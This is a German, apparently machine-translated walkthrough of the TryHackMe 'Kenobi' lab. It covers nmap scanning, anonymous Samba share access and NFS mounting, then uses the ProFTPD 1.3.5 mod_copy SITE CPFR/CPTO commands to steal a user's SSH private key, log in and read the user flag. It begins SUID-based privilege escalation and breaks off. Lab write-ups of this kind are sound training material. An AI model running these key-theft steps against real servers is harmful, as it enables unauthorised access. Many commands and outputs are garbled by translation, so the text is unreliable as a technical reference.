Dieses Mal werden wir gemeinsame Samba aufzählen, schutzbedürftige Versionen von ProfTPD manipulieren und die Privilegien durch Manipulieren von Pfadvariablen eskalieren.
"Tryhackme-kenobi: https://tryhackme.com/room/kenobi "





Vorbereitung
Wählen Sie zunächst "Startmaschine" und starten Sie die Zielmaschine.

Wenn die IP -Adresse wie unten gezeigt angezeigt wird, ist sie in Ordnung.

Stellen Sie die schutzbedürftige Maschine ein
Da ich den Computer früher bereitgestellt habe, werde ich NMAP zum Scannen verwenden.
Stellen Sie sicher, dass Sie mit unserem Netzwerk verbunden sind und den Computer bereitstellen
Die Maschine wurde gerade eingesetzt, also geben wir Ihnen eine Antwort.
Antwort

Scannen Sie die Maschine mit NMAP, wie viele Ports sind geöffnet?
Es gibt eine Frage, wie viele Ports geöffnet sind. Daher werde ich NMAP verwenden, um den Port zu scannen.
┌── (hack_lab㉿desktop-o3rmu7h)-[~] └─ $ nmap -pn -t4 -a 10.10.26.135 Starten von NMAP 7.94 (https://nmap.org) beim 2023-08-27 22:59 Jst Nmap Scan Report für 10.10.26.135 Host is up). Nicht gezeigt: 993 geschlossene TCP-Ports (conn-gerührt) Port State Service Version 21/TCP Open FTP profTPD 1.3.5 22/TCP Open SSH OpenSSH 7.2p2 Ubuntu 4UBUNTU2.7 (Ubuntu Linux; Protocol 2.0) | SSH-Hostkey: | 2048 B3: Anzeige: 83: 41: 49: E9: 5d: 16: 8d: 3b: 0f: 05: 7b: E2: C0: Ae (RSA) | 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA) |_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519) 80/tcp open http Apache Httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 1 unzulässiger Eintrag | _/admin.html | _http-server-header: apache/2.4.18 (ubuntu) | _http-title: Site hat keinen Titel (text/html). 111/TCP Open RPCBind 2-4 (RPC #100000) | rpcinfo: | Programmversion Port/Proto -Dienst | 100000 2,3,4 111/TCP RPCBind | 100000 2,3,4 111/UDP RPCBind | 100000 3,4 111/TCP6 RPCBind | 100000 3,4 111/UDP6 RPCBind | 100003 2,3,4 2049/TCP NFS | 100003 2,3,4 2049/TCP6 NFS | 100003 2,3,4 2049/UDP NFS | 100003 2,3,4 2049/UDP NFS | 100003 2,3,4 2049/UDP6 NFS | 100005 1,2,3 34211/TCP Mountd | 100005 1,2,3 39978/UDP Mountd | 100005 1,2,3 46105/TCP6 Mountd | 100005 1,2,3 57683/UDP6 Mountd | 100021 1,3,4 32905/TCP NLOCKMGR | 100021 1,3,4 44853/TCP6 NLOCKMGR | 100021 1,3,4 46652/udp nlockmgr | 100021 1,3,4 49249/UDP6 NLOCKMGR | 100227 2,3 2049/TCP NFS_ACL | 100227 2,3 2049/TCP6 NFS_ACL | 100227 2,3 2049/UDP NFS_ACL | 100227 2,3 2049/UDP NFS_ACL | _ 100227 2,3 2049/udp6 nfs_acl 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open `{} Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 2049/tcp open nfs 2-4 (RPC #100003) Service Info: Host: Kenobi; OSS: UNIX, Linux; CPE: CPE:/O: Linux: Linux_kernel Host Skript Ergebnisse: | SMB-Security-Mode: | Account_used: Gast | Authentifizierung_Level: Benutzer | Challenge_Response: unterstützt | _ message_signing: deaktiviert (gefährlich, aber Standard) | SMB2-Security-Modus: | 3: 1: 1: | _ Nachrichtensignalisierung aktiviert, aber nicht erforderlich | SMB2-Zeit: | Datum: 2023-08-27T14: 00: 16 | _ START_DATE: N/A | SMB-OS-Discovery: | Betriebssystem: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computername: Kenobi | Netbios Computername: Kenobi \ x00 | Domänenname: \ x00 | Fqdn: kenobi | _ systemzeit: 2023-08-27t09: 00: 16-05: 00 | _clock-skew: Mean: 1H39M58s, Abfahrt: 2H53M13s, Median: -1<unknown> , Netbios Mac:<unknown> (Unbekannte) Serviceerkennung durchgeführt. Bitte melden Sie falsche Ergebnisse unter https://nmap.org/submit/. NMAP Fertig: 1 IP -Adresse (1 Host -Up) in 35,93 Sekunden gescannt
Es gibt viele von ihnen. Wenn Sie sie also ein wenig zusammenfassen, können Sie sehen, dass die sieben folgenden Ports geöffnet sind.
21/TCP Open FTP profTPD 1.3.5 22/TCP Open SSH OpenSSH 7.2P2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; Protocol 2.0) 80/TCP Open HTTP Apache HTTPD 2.4.18 ((Ubuntu)) 111/TCP Open RPCBind 2-4 (RPNTU)). Netbios-SSN SAMBA SMBD 3.x-4.x (Arbeitsgruppe: WorkGroup) 445/TCP Open ` {} Samba SMBD 4.3.11-UBUNTU (Arbeitsgruppe: Arbeitsgruppe) 2049/TCP Open NFS 2-4 (RPC #100003)
Antwort

Aufzählung von Samba für Aktien
Von den offenen Ports können Sie HTTP sofort überprüfen, also habe ich es schnell überprüft und ein Bild in /admin.html gefunden, das sagte, es sei eine Falle.
Die nächsten Ports, an denen ich interessiert bin, sind Sambas 139 und 445.
Wie viele Aktien wurden mit dem Befehl nmap unter Verwendung des nmap -Befehls gefunden?
Ich werde überprüfen, wie viele Aktien es gibt. NMAP verfügt über verschiedene Tools, um Netzwerkaufgaben zu automatisieren, und es gibt Skripte, die Aktien auflisten. Verwenden wir sie also.
┌── (hack_lab㉿desktop-o3rmu7h)-[~] └─ $ nmap -p 445--Script = Smb-enum-shares.nse, smb-enum-users Für 10.10.26.135 ist der Host erhöht (0,25S Latenz). Port State Service 445/TCP Open Microsoft-Lds Host-Skript Ergebnisse: | Smb-Enum-Shares: | Account_used: Gast | \\ 10.10.26.135 \ ipc $: | Typ: STYPE_IPC_HIDDEN | Kommentar: IPC -Dienst (Kenobi Server (Samba, Ubuntu) | Benutzer: 1 | Max -Benutzer:<unlimited> | Pfad: C: \ tmp | Anonymous Access: Lesen/Schreiben | Aktueller Benutzerzugriff: Lesen/Schreiben | \\ 10.10.26.135 \ Anonymous: | Typ: STYPE_DIKTREE | Kommentar: | Benutzer: 0 | Max -Benutzer:<unlimited> | Pfad: C: \ Home \ Kenobi \ Share | Anonymous Access: Lesen/Schreiben | Aktueller Benutzerzugriff: Lesen/Schreiben | \\ 10.10.26.135 \ print $: | Typ: STYPE_DIKTREE | Kommentar: Druckertreiber | Benutzer: 0 | Max -Benutzer:<unlimited> | Pfad: C: \ var \ lib \ Samba \ Drucker | Anonymer Zugriff:<none> | _ Aktueller Benutzerzugriff:<none> NMAP Fertig: 1 IP -Adresse (1 Host Up) in 38,42 Sekunden gescannt
Um dies zusammenzufassen, können wir sehen, dass die folgenden drei geteilt werden:
\\ 10.10.26.135 \ ipc $ \\ 10.10.26.135 \ Anonymous \\ 10.10.26.135 \ print $
Unter diesen ist derjenige, der mich interessiert, anonym. Wir werden das nächste Mal untersuchen.
Antwort

Sobald Sie verbunden sind, listen Sie die Dateien auf der Freigabe auf. Was ist die Datei, die Sie sehen können?
Versuchen wir nun, eine Verbindung zu Anonymous herzustellen.
┌── (hack_lab㉿desktop-o3rmu7h)-[~] └─ $ smbclient //10.10.26.135/anonyme Passwort für [WorkGroup \ hack_lab]: Versuchen Sie "Hilfe", um eine Liste möglicher Befehle zu erhalten. SMB: \>
Sobald Sie angeschlossen sind, sollten Sie die Liste der von Ihnen geteilten Dateien anzeigen.
SMB: \> ls. D 0 WED Sep 4 19:49:09 2019 .. D 0 WED Sep 4 19:56:07 2019 Log.txt N 12237 Wed Sep 4 19:49:09 2019 9204224 Blöcke der Größe 1024. 6877104 Blöcke verfügbar SMB: \> DIR. D 0 WED September 4 19:49:09 2019 .. D 0 Wed Sep 4 19:56:07 2019 Log.txt N 12237 Mi 4 September 19:49:09 2019 9204224 Blöcke der Größe 1024. 6877104 Blöcke verfügbare Blöcke verfügbar
Sie können überprüfen, ob eine Datei namens "log.txt" existiert.
Antwort

Auf welchem Port wird FTP ausgeführt?
Ich habe dies bereits auf NMAP überprüft, aber ich werde log.txt überprüfen, nur um sicher zu sein.
Download log.txt download.
SMB: \> Get Log.txt teurdatei \ log.txt von Größe 12237 als log.txt (12,0 Kilobyte/Sek.) (Durchschnittlich 12,0 Kilobyte/Sek.) SMB: \>
Der Inhalt von log.txt ist wie folgt:
┌── (hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ cat log.txt generieren öffentlich/privates RSA-Schlüsselpaar. Geben Sie die Datei ein, in der der Schlüssel (/home/kenobi/.sssh/id_rsa) speichert werden soll: Erstellen Sie das Verzeichnis '/home/kenobi/.sssh'. Geben Sie Passphrase ein (leer für keine Passphrase): Geben Sie erneut die gleiche Passphrase ein: Ihre Identifizierung wurde in /home/kenobi/.sssh/id_rsa gespeichert. Ihr öffentlicher Schlüssel wurde in /home/kenobi/.sssh/id_rsa.pub gespeichert. Der Schlüsselfingerabdruck lautet: SHA256: C17GWSL/V7KluzrowwxSyk+F7GyHvzsbfqkcikr2d7q Kenobi@Kenobi Das Randomart-Bild des Schlüssels ist:+--- [RSA 2048] ----+| | .. | | . O. . | | . O. . | | .. = o +. | | . So.o ++ o. | | O ...+oo.bo*o | | oo ..o.o+.@oo | | . . E .o+=. | | . . OBO. | +----[SHA256]-----+ # This is a basic ProFTPD configuration file (rename it to # 'proftpd.conf' for actual use. It establishes a single server # and a single anonymous login. It assumes that you have a user/group # "nobody" and "ftp" for normal operation and anon. ServerName "ProFTPD Default Installation" ServerType standalone DefaultServer on # Port 21 ist der Standard -FTP -Port 21 # IPv6 -Support standardmäßig. INETD -Modus Sie sollten einen INETD -Server verwenden, mit dem Sie die maximale Anzahl von Prozessen pro Dienst einschränken können (z. B. Xinetd). überschrieben.<Limit SITE_CHMOD> Denyall</Limit> # Eine grundlegende anonyme Konfiguration, keine Upload -Verzeichnisse. Wenn Sie nicht # anonyme Benutzer wollen, löschen Sie einfach das Ganze<Anonymous> Abschnitt.<Anonymous ~ftp> Benutzer FTP -Gruppe FTP # Wir möchten, dass Clients in der Lage sein, sich mit "Anonymous" sowie "FTP" Useralias Anonymous FTP # zu beschränken, die maximale Anzahl anonymer Logins Maxclients 10 # Wir wollen 'Willkommensg', angezeigt bei Login und '.message' angezeigt # in jeder neu chDeded Directory angezeigt. DisplayLogin Welcome.MSG DisplayCdir .Message # Begrenzung überall im anonymen Chroot Schreiben Sie<Limit WRITE> Denyall</Limit></Anonymous> # # Beispielkonfigurationsdatei für die Samba -Suite für Debian GNU/Linux. # # # Dies ist die Haupt -Samba -Konfigurationsdatei. Sie sollten die manuelle Seite # SMB.Conf (5) lesen, um die hier aufgeführten Optionen zu verstehen. Samba hat eine große Anzahl konfigurierbarer Optionen, von denen die meisten in diesem Beispiel nicht angezeigt werden. # - Wenn solche Optionen kommentiert werden ";" ", ist die vorgeschlagene Einstellung # Unterschiede von der Standard -Samba -Verhaltensnummer. Wenn" # "kommentiert wird, ist die vorgeschlagene Einstellung das Standardverhalten von Samba, aber die Option wird als wichtig angesehen. # ==== Globale Einstellungen ==== [global] ## Browsing/Identifikation ### # Ändern Sie diese in die WorkGroup/NT -Domain -Name Ihr Samba -Server teilt Teil der WorkGroup = WorkGroup # Server -String ist das Äquivalent des NT -Beschreibung der Feld Server -String = %H -Server (Samba, Ubuntu). Wins Support = No # Wins Server - teilt den NMBD -Komponenten von Samba an, ein Wins -Client zu sein. Wins Server = WXYZ # Dies verhindern NMBD, über DNS nach NetBIOS -Namen zu suchen. DNS proxy = no #### Networking ####Der spezifische Satz von Schnittstellen / Netzwerken an#Dies kann entweder der Schnittstellenname oder eine IP -Adresse / eine IP -Adresse / NetMask sein; # Schnittstellennamen werden normalerweise bevorzugt; Schnittstellen = 127.0.0.0/8 ETH0 # binden nur an die benannten Schnittstellen und/oder Netzwerke; Sie müssen die Option # 'Schnittstellen' oben verwenden, um diese zu verwenden. # Es wird empfohlen, diese Funktion zu aktivieren, wenn Ihr Samba -Computer # nicht durch eine Firewall geschützt ist oder selbst eine Firewall ist. Diese # Option kann jedoch keine dynamischen oder nicht-bradcast-Schnittstellen korrekt verarbeiten. ; Binding Interfaces Only = Yes #### Debugging/Accounting #####Dies fordert Samba an, eine separate Protokolldatei für jeden Computer zu verwenden, das log -file = /var/log/samba/log.%m#cap die Größe der einzelnen Protokolldateien (in KIB) verbindet. Max log Size = 1000 # Wenn Sie möchten, dass Samba nur Syslog loget und den folgenden # Parameter auf 'Ja' festlegt. # Nur Syslog = Nein # Wir möchten, dass Samba eine minimale Menge an Informationen an syslog protokolliert. Alles # sollte stattdessen zu /var/log/samba/log.ermbd,nmbd} gehen. Wenn Sie # über Syslog protokollieren möchten, sollten Sie den folgenden Parameter auf etwas höher einstellen. syslog = 0#Machen Sie etwas Vernünftiges, wenn samba abstürzt: mailen Sie dem Admin-Panik Action =/usr/share/samba/panic-action %d ##### Authentifizierung #######Serverrolle. Definiert in welchem Modus Samba betrieben wird. Mögliche # Werte sind "eigenständiger Server", "Mitgliedserver", "Classic Primary # Domain Controller", "Classic Backup Domain Controller", "Active # Directory Domain Controller". # # Die meisten Leute wollen "Standalone Sever" oder "Mitgliedserver". # Ausführen als "Active Directory Domain Controller" erfordert das erste # Ausführen "Samba-Tool Domain Provision", um Datenbanken zu löschen und eine neue Domäne zu erstellen. Serverrolle = Standalone Server # Wenn Sie verschlüsselte Kennwörter verwenden, muss Samba wissen, welchen Kennwort -Datenbank -Typ Sie verwenden. PassDB Backend = Tdbsam Obey PAM -Beschränkungen = Ja # Dieser boolesche Parameter steuert, ob Samba versucht, das UNIX # -Kennwort mit dem SMB -Passwort zu synchronisieren, wenn das verschlüsselte SMB -Kennwort in der # PassDB geändert wird. UNIX -Passwort sync = yes # Für die UNIX -Kennwort -Synchronisierung für ein Debian GNU/Linux -System müssen die folgenden # Parameter festgelegt werden (dank Ian Kahan <<kahan@informatik.tu-muenchen.de> Für # Senden des richtigen Chat -Skripts für das PassWD -Programm in Debian Sarge). Passwd Program =/usr/bin/passwd %u passwd chat =*ENTER \ SNEW \ S*\ SPASSWORD:* %n \ n*RECHTELT \ SNEW \ S*\ SPASSWORD:* %n \ n*Passwort \ supdated \ succesulting*. # Dieser boolesche steuert, ob PAM für Kennwortänderungen verwendet wird Der Standard ist 'nein'. PAM -Kennwort Änderung = Ja # Diese Option steuert, wie erfolglos Authentifizierungsversuche # auf anonyme Verbindungen zu guden = schlechter Benutzer ####### # ####### # # # Die folgenden Einstellungen Einstellungen Wirksamen nur dann wirksam werden. Ansicht) Die folgende # erforderte eine [Profile] -Auffreigabe, um auf dem Samba -Server eingerichtet zu werden (siehe # unten); logon path = \\%n \ profiles \%u # Eine weitere häufige Wahl ist das Speichern des Profils im Home -Verzeichnis des Benutzers. Logon Drive = H: # Logon Home = \\%N \%u # Die folgende Einstellung wird nur wirksam, wenn 'Domänenanmeldungen' festgelegt ist. # Es gibt das Skript an, das während des Anmelden ausgeführt werden soll. Das Skript muss in der [Netlogon] Share # Hinweis: Muss in der Dateiformatkonvention von 'dos' gespeichert werden. logon script = logon.cmd # Auf diese Weise können Unix -Benutzer über die SAMR # RPC -Pipe auf dem Domänencontroller erstellt werden. Mit dem Befehl Beispiel erstellt ein Benutzerkonto mit einem deaktivierten UNIX # -Kennwort. Bitte passen Sie sich an Ihre Bedürfnisse an; Benutzerkript addieren =/usr/sbin/adduser-quiet-desbard-password —gecos "" %U # Auf diese Weise können Maschinenkonten über das # samr RPC-Rohr auf dem Domänencontroller erstellt werden. # Im Folgenden setzt eine "Maschinen" -Gruppe im System vor. Fügen Sie maschinelles Skript =/usr/sbin/userAdd -g machines -c " %U -Maschinenkonto" -d/var/lib/samba -s/bin/false %u # hinzu. Auf diese Weise können Unix -Gruppen über das SAMR # RPC -Rohr auf dem Domänencontroller erstellt werden. ; Fügen Sie Group script =/usr/sbin/addGroup-force-badname %g ###### misc ######Mit der folgenden Zeile können Sie Ihre Konfiguration#pro Maschine anpassen. Der %m wird durch die Netbios -Namensnummer der Maschine ersetzt, die sich verbindet. include = /home/samba/etc/smb.conf.%M # Einige Standardeinstellungen für Winbind (stellen Sie sicher, dass Sie die Bereiche # für etwas anderes nicht verwenden.); IDMAP UID = 10000-20000; IDMAP GID = 10000-20000; Vorlagen-Shell = /bin /bash # setup userHare-Optionen, mit denen Nicht-Root-Benutzer Ordner # mit dem Befehl net userHare freigeben können. # Maximale Anzahl von UserSshare. 0 (Standard) bedeutet, dass UserShare deaktiviert ist. ; UsersShare Max Shares = 100 # Erlauben Benutzern, der Usershare-Berechtigungen zu erteilt wurde, um # öffentliche Aktien zu erstellen, und nicht nur authentifizierte Benutzer, die die Gäste zulassen. Dadurch wird das Heimverzeichnis jedes # Benutzers als \\ server \ userername; [Homes] bekannt gegeben. Kommentar = Home -Verzeichnisse; Browsable = Nein # Standardmäßig werden die Home-Verzeichnisse schreibgeschützt exportiert. Ändern Sie den # nächsten Parameter in "Nein", wenn Sie ihnen schreiben möchten. ; Nur lesen = yes # Dateierstellungsmaske wird aus Sicherheitsgründen auf 0700 gesetzt. Wenn Sie Dateien mit Gruppen = RW -Berechtigungen erstellen möchten, setzen Sie den nächsten Parameter auf 0775. Erstellen Sie Mask = 0700 # Die Maske für die Erstellung von Verzeichnissen ist aus Sicherheitsgründen auf 0700 gesetzt. Wenn Sie # Dirs erstellen möchten. Setzen Sie mit Gruppen = RW -Berechtigungen den nächsten Parameter auf 0775; Verzeichnis mask = 0700 # Standardmäßig kann \\ Server \ Benutzername -Freigaben von jedem # mit Zugriff auf den Samba -Server verbunden werden. # UN-CMENT Der folgende Parameter, um sicherzustellen, dass nur "Benutzername" # eine Verbindung zu \\ Server \ Benutzername # Dies muss bei der Verwendung externer Authentifizierungsschemata eine Optimierung erforderlich sein. Gültige Benutzer = %s # uncoment Folgendes und erstellen Sie das Netlogon-Verzeichnis für Domänenanmeldungen # (Sie müssen Samba auch als Domänencontroller konfigurieren.); [Netlogon]; Kommentar = Netzwerkanmeldedienst; Path =/home/samba/netlogon; Gast ok = ja; Nur lesen = yes # Uncoment Im Folgenden und erstellen Sie das Profilverzeichnis, um # Benutzerprofile zu speichern (siehe Option "Anmeldepfad" oben) # (Sie müssen Samba so konfigurieren, dass sie auch als Domänencontroller fungieren.) # Der nachstehende Pfad sollte von allen Benutzern beschreibt werden, damit ihr # Profil-Verzeichnis erstellt werden kann, wenn sie log; [Profiles]. comment = Benutzerprofile; path =/home/samba/profiles; Gast ok = nein; Browsable = nein; Maske erstellen = 0600; Verzeichnismaske = 0700 [Drucker] Kommentar = alle Drucker Browsable = no path =/var/spool/samba druckable = yes guden OK = Nein, nur Lesen = Ja erstellen mask = 0700 # Windows -Clients suchen nach diesem Aktiennamen als Quelle für Downloads # Printer -Treiber # Druck $ $ $. Windows -Drucktreiber. # Möglicherweise müssen Sie 'lpadmin' durch den Namen der Gruppe ersetzen, von denen Ihre # Admin -Benutzer Mitglieder sind. # Bitte beachten Sie, dass Sie auch die entsprechenden UNIX -Berechtigungen # dem Treiberverzeichnis festlegen müssen, damit diese Benutzer Schreibrechte haben. Write list = root, @lpadmin [anonymous] path =/home/kenobi/sharle browsable = yes nur
Die Informationen, die Sie aus diesem Inhalt sehen können, sind wie folgt:
- Der private SSH -Schlüssel muss in "/home/kenobi/.sssh/id_rsa" gespeichert werden.
- Informationen zum ProfTPD -Server
Antwort

Welchen Reittier können wir sehen?
Als nächstes ist NFS ein RPC-basierter Dateifreigabedienst.
Obwohl der NFS selbst im Jahr 2049 läuft, ist RPC das Tor zum NFS.
2049/TCP Open NFS 2-4 (RPC #100003)
Mit anderen Worten, versuchen Sie, 111 RPC zu scannen.
111/TCP Open RPCBind 2-4 (RPC #100000)
Sobald Sie bestätigt haben, dass NSF ausgeführt wird, müssen Sie als erstes überprüfen, welche Verzeichnisse remote exportiert werden können.
Auch hier verwenden wir die NMAP -Skript -Engine.
" Grep NFS NFS-Ls.nse NFS-showmount.nse NFS-statfs.nse
Versuchen Sie es für die Portnummer "111" auszuführen.
┌──(hack_lab㉿DESKTOP-O3RMU7H)-[~/TryHackMe] └─$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.26.135 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-27 23:41 JST Der NMAP -Scanbericht für 10.10.26.135 Host ist gestiegen (0,25S -Latenz). Port State Service 111/TCP Open RPCBind | NFS-SHOWMOUNT: | _ /var * NMAP erledigt: 1 IP-Adresse (1 Host-Up) in 4,27 Sekunden gescannt
Ich habe bestätigt, dass "/var" exportiert wurde.
Im Moment werde ich zuerst versuchen, "/var" zu montieren.
┌── (hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ mkdir kenobinfs ┌── (hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └└ $ sudo mont 10.106.106:106:106:106:106:106:106:106:106:106:106:106:106:106:106:106:106.106 Passwort für hack_lab: ┌── (hack_lab㉿desktop-o3rmu7h)-[~/ tryhackme] └─ $ ll kenobinfs/ Total 48 DRWXR-XR-XR-X 2 Wurzel Root 4096 SEP 4 2019 Backups DRWXR-XR-XR-Wurzel-Root 4096 SEP 4 2019 Cache DRWXR-XRWS 2096 SEP 4 2019 Cache Sep 4 2019 Crash DRWXR-XR-X 40 Wurzel Root 4096 Sep 4 2019 lib Drwxrwsr-X 2 Root Staff 4096 Apr 13 2016 Lokale lrwxrwxrwx 1 Root 9 Sep 4 SEP 4 2019 Lock-> /Run /Lock DRWXRWXR-X 10 Wurzel SSL-C-CERT 4096 SEP 4 2019 SSP 4 2019 LOW LOGRWSRWSRWSR-ZER-C-CERT 4096 SEP 4 2019 LOW LOGRWSRWSRWSRWSR-C-CERT 4096 SEP 4 2019 LOW LOGRWSRWSRWSR-ZUSPR. Mail Drwxr-xr-X 2 Root Root 4096 27. Februar 2019 OPT lrwxrwxrwx 1 Root Root 4 Sep 4 2019 Run-> run drwxr-xr-x 2 Root 4096 Jan 30 Jan 2019 Snap Drwxr-XR-X 5 Root 4096 Sep 4 2019 Spool DRWXRWXRWT 6 DRWXR-XR-X 3 Wurzel Root 4096 Sep 4 2019 www
Es scheint, als ob Sie TMP verwenden können.
Antwort

Erhalten Sie einen ersten Zugriff mit profTPD
Verwenden Sie ProfTPD, um lokale Berechtigungen zu erhalten.
Was ist die Version?
Versuchen Sie zunächst mit NetCAT eine Verbindung zum FTP -Dienst.
"
Es stellt sich heraus, dass die ProfTPD -Version "1.3.5" ist.
Antwort

Wie viele Exploits gibt es für den ProfTPD?
Versuchen Sie es mit Searchsploit, um herauszufinden, ob es in ProfTPD 1.3.5 keine Schwachstellen gibt.
" --------------------------------------------------------------------------------------------------------------------------------------------------------- 'mod_copy' Befehl executi | linux/remote/37262.rb profTpd 1.3.5 - 'mod_copy' remote | linux/remote/36803.py profTpd 1.3.5 - 'mod_copy' Remote -Befehl | linux/remote/49908.py profTpd 1.3.5 - Dateikopie | Linux/Remote/36742.txt ---- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
der unteren " ProfTPD 1.3.5 - Dateikopie " kann mod_copy auch für nicht authentifizierte Clients verwendet werden.

Antwort

Was ist Kenobis Benutzerflag (/home/kenobi/user.txt)?
Das Modul mod_copy verfügt über CPFR- und Site -CPTO -Befehle, mit denen Dateien/Verzeichnisse von einem Speicherort auf dem Server auf einen anderen kopiert werden können.
Ich weiß, dass der Kenobi -Privatschlüssel generiert wurde, also möchte ich ihn bekommen.
Geben Sie die Datei ein, in der der Schlüssel speichert werden kann (/home/kenobi/.sssh/id_rsa)
Wo es kopiert wird, wissen wir bereits, dass /var montierbar ist. Wir werden also versuchen, Kenobis privaten Schlüssel zu /var zu kopieren.
┌──(hack_lab㉿DESKTOP-O3RMU7H)-[~/TryHackMe] └─$ nc 10.10.6.106 21 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.6.106] SITE CPFR /home/kenobi/.ssh/id_rsa 350 File or directory exists, ready for destination name SITE CPTO /var /id_rsa 550 CPTO: Erlaubnis abgelehnt
"/var" hatte keine Erlaubnis. . .
Basierend auf den Ergebnissen, die ich zuvor montiert habe, scheint es in Ordnung zu sein, wenn es sich um "/var/tmp" handelt.
┌──(hack_lab㉿DESKTOP-O3RMU7H)-[~/TryHackMe] └─$ nc 10.10.6.106 21 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.6.106] SITE CPFR /home/kenobi/.ssh/id_rsa 350 File or directory exists, ready for destination name SITE CPTO /var/tmp/id_rsa 250 erfolgreich kopieren
Ich habe es geschafft, es zu kopieren!
┌── (hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ cd kenobinfs/tmp ┌── (hack_lab㉿desktop-o3rmu7h)-[~/tryhackme/kenobinfs/tmPs/tmp] └└ $ ll ll-r-R-R-R-R-R-R-R-R-R-R-R-R-R-R-R-R-R-R-R-R-R-R-R. 1675 Aug 28 23:09 ID_RSA DRWX ----- 3 Wurzel Root 4096 SEP 4 2019 SYSTEMD-PRIVATE-UNTER drwx-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 3 Root Root 4096 SEP 4 2019 Systemd-private-e69bbbb0653ce4ee3bd9ae0d93d2a5806-System-Timesyncd.Service-Zobudn
Kopieren Sie es einmal vor Ort. Ändern Sie zu diesem Zeitpunkt die Berechtigungen.
┌── (hack_lab㉿desktop-o3rmu7h)-[~/tryhackme] └─ $ CP Kenobinfs/TMP/ID_RSA ./ ┌── (hack_lab㉿desktop-o3rmu7h)-[~/treig_lab㉿desktop-O3RMU7H)-[~/treignme] └└ $ sudo chmmod 600 ~ ~ └ $ $ Sudo $ Sudo chmmod 600 $-
Ich werde versuchen, meinen Kenobi Private Key zur SSH -Verbindung zu verwenden.
┌── (root㉿kali) -[~] └─# ssh -i id_rsa kenobi@10.10.154.255 Die Authentizität des Host '10 .10.154.255 (10.10.154.255) kann nicht hergestellt werden. ED25519 Key Fingerabdruck ist SHA256: GXU1MGQL0WK2ZHPMEUVIS0HVUSX4HK33itCWNKPKTFW. Dieser Schlüssel ist in keinen anderen Namen bekannt. Sind Sie sicher, dass Sie sich weiter verbinden möchten (ja/nein/[Fingerabdruck])? Ja Warnung: Dauerhaft '10 .10.154.255 '(ED25519) in die Liste der bekannten Hosts. Willkommen bei Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-Generic X86_64) * Dokumentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 103 Packages können aktualisiert werden. 65 Updates sind Sicherheitsaktualisierungen. Letzte Anmeldung: Mi 4. September 07:10:15 2019 von 192.168.1.147, um einen Befehl als Administrator (Benutzer "root") auszuführen, verwenden Sie "sudo<command> ". Siehe" Man sudo_root "für Details. Kenobi@Kenobi: ~ $
Ich konnte mich sicher verbinden.
Lassen Sie uns weiterhin user.txt überprüfen und das Flag erhalten!
kenobi@kenobi: ~ $ ll insgesamt 40 drwxr-xr-x 5 Kenobi Kenobi 4096 Sep 4 2019. Sep 4 2019 .bash_logout -rw-r--r-- 1 kenobi kenobi 3771 Sep 4 2019 .bashrc drwx----- 2 kenobi kenobi 4096 Sep 4 2019 .cache/ -rw-r--r-- 1 kenobi kenobi 655 Sep 4 2019 .profile drwxr-xr-x 2 kenobi kenobi 4096 Sep 4 2019 Share/ DRWX ----- 2 Kenobi Kenobi 4096 Sep 4 2019.SSH/ -RW-RW-R-- 1 Kenobi Kenobi 33 Sep 4 2019 User D0B0F3F53B6CAA532A83915E19224899
Antwort

Eskalation zur Bekämpfung von Pfadvariablen
Als nächstes kommt die Eskalation des Privilegs. Anstrengen auf eine Privilegerhebung mit der gemeinsamen SUID.
SUID führt die Datei mit den Berechtigungen des Dateibesitzers aus. Wenn Root der Dateibesitzer ist, ist es möglich, Root -Berechtigungen zu erhalten.
Welche Datei sieht besonders außergewöhnlich aus?
Lassen Sie uns die Datei mit der SUID überprüfen.
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null /sbin/mount.nfs /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/snapd/snap-confine /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/bin/chfn /usr/bin/newgidmap /usr/bin/pkexec /usr/bin/passwd /usr/bin/newuidmap/usr/bin/gpasswd/usr/bin/mseu/usr/sudo/usr/bin/CHSH/usr/bin/usr/bin/newgrp/bin/umount/bin/fusermount/bin/mont/bin/ping/bin/bin/bin/ping6
Ich denke, der misstrauisch, der diese misstrauisch ist, ist "/usr/bin/Menü". Dies ist eine Datei, die ich noch nie gesehen habe.
Antwort

Laufen Sie die Binärdien, wie viele Optionen erscheinen?
Versuchen Sie, das Menü auszuführen.
Es scheint, dass Sie den Serverstatus, die Kernel -Version und den IFConfig -Inhalt überprüfen können.
Kenobi@Kenobi: ~ $ Menü ************* ************************************************************** ************* ************************************************************** ************* ************************************************************** ************* ************************************************************** Inhaltslänge: 200 variieren: Akzeptieren Sie inhaltlich anerkannt: Text/HTML
Antwort

Was ist das Stammflag (/root/root.txt)?
Suchen Sie Saiten, um nach einer lesbaren Zeichenfolge auf der Binärdatei des Menüs zu suchen.
Kenobi@Kenobi: ~ $ Strings/usr/bin/Menü ... ********** ********** ********** ********** ********** ********** ********** **********
Bitte achten Sie auf Folgendes:
